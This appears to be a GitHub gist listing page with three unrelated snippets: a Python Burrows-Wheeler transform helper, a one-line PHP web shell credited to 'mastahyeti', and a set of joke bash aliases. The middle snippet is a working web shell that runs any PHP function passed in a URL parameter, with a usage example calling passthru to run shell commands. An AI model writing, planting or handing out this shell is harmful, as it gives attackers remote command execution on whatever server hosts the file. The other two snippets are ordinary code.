This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# calculates BW(T) | |
def bw(t): | |
m = sorted(t[-i:] + t[:-i] for i in range(len(t))) | |
return "".join(m[i][len(t)-1] for i in range(len(t))) | |
# for a given string return index with nth occurence of char | |
def n_occurence_index(string, char, n): | |
vector = [string[:index+1].count(char) for index in range(0, len(string))] | |
return vector.index(n) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//(c) mastahyeti | |
//mini php shell | |
//usage: http://example.com?1=function_name&2=function_arguments | |
//example: http://example.com?1=passthru&2=ls | |
<? $_GET[1]($_GET[2]) ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# LOL!!1 | |
alias wtf='dmesg' | |
alias onoz='cat /var/log/errors.log' | |
alias rtfm='man' | |
alias visible='echo' | |
alias invisible='cat' | |
alias moar='more' |
NewerOlder